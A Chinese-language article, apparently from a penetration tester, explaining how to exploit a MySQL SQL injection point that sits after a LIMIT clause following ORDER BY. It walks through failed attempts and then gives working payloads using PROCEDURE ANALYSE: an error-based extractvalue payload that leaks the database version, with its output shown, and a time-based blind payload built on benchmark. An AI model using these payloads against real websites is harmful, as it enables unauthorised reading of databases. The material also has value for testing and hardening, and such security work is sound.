mysql注入點在limit關(guān)鍵字后面利用方法

字號:


    描寫sql注入利用方法的文章數(shù)不勝數(shù),本文將描述一種比較特殊的場景。
    mysql注入點在limit關(guān)鍵字后面的利用方法
    細(xì)節(jié)
    在一次測試中,我碰到了一個sql注入的問題,在網(wǎng)上沒有搜到解決辦法,當(dāng)時的注入點是在limit關(guān)鍵字后面,數(shù)據(jù)庫是mysql5.x,sql語句類似下面這樣:
    select field from table where id > 0 order by id limit 【注入點】
    問題的關(guān)鍵在于,語句中有order by 關(guān)鍵字,我們知道,mysql 中在order by 前面可以使用union 關(guān)鍵字,所以如果注入點前面沒有order by 關(guān)鍵字,就可以順利的使用union 關(guān)鍵字,但是現(xiàn)在的情況是,注入點前面有order by 關(guān)鍵字,這個問題在stackoverflow 上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。
    我們先看看 mysql 5.x 的文檔中的 select 的語法:
    select
    [all | distinct | distinctrow ]
    [high_priority]
    [straight_join]
    [sql_small_result] [sql_big_result] [sql_buffer_result]
    [sql_cache | sql_no_cache] [sql_calc_found_rows]
    select_expr [, select_expr ...]
    [from table_references
    [where where_condition]
    [group by {col_name | expr | position}
    [asc | desc], ... [with rollup]]
    [having where_condition]
    [order by {col_name | expr | position}
    [asc | desc], ...]
    [limit {[offset,] row_count | row_count offset offset}]
    [procedure procedure_name(argument_list)]
    [into outfile 'file_name' export_options
    | into dumpfile 'file_name'
    | into var_name [, var_name]]
    [for update | lock in share mode]]
    limit 關(guān)鍵字后面還有 procedure 和 into 關(guān)鍵字,into 關(guān)鍵字可以用來寫文件,但這在本文中不重要,這里的重點是 procedure 關(guān)鍵字.mysql默認(rèn)可用的存儲過程只有 analyse (doc)。
    嘗試用這個存儲過程:
    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1);
    error 1386 (hy000): can't use order clause with this procedure
    analyse支持兩個參數(shù),試試兩個參數(shù):
    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse(1,1);
    error 1386 (hy000): can't use order clause with this procedure
    依然無效,嘗試在 analyse 中插入 sql 語句:
    mysql> select field from table where id > 0 order by id limit 1,1 procedure analyse((select if(mid(version(),1,1) like 5, sleep(5),1)),1);
    響應(yīng)如下:
    error 1108 (hy000): incorrect parameters to procedure 'analyse’
    事實證明,sleep 沒有被執(zhí)行,最終,我嘗試了如下payload :
    mysql> select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
    error 1105 (hy000): xpath syntax error: ':5.5.41-0ubuntu0.14.04.1'
    啊哈,上面的方法就是常見的報錯注入,所以,如果注入點支持報錯,那所有問題都o(jì)k,但是如果注入點不是報錯的,還可以使用 time-based 的注入,payload 如下:
    select field from table where id > 0 order by id limit 1,1 procedure analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, benchmark(5000000,sha1(1)),1))))),1)
    有意思的是,這里不能用sleep而只能用 benchmark。
    另外,這里還有一種類似的方法 https://rdot.org/forum/showpost.php?p=36186&postcount=30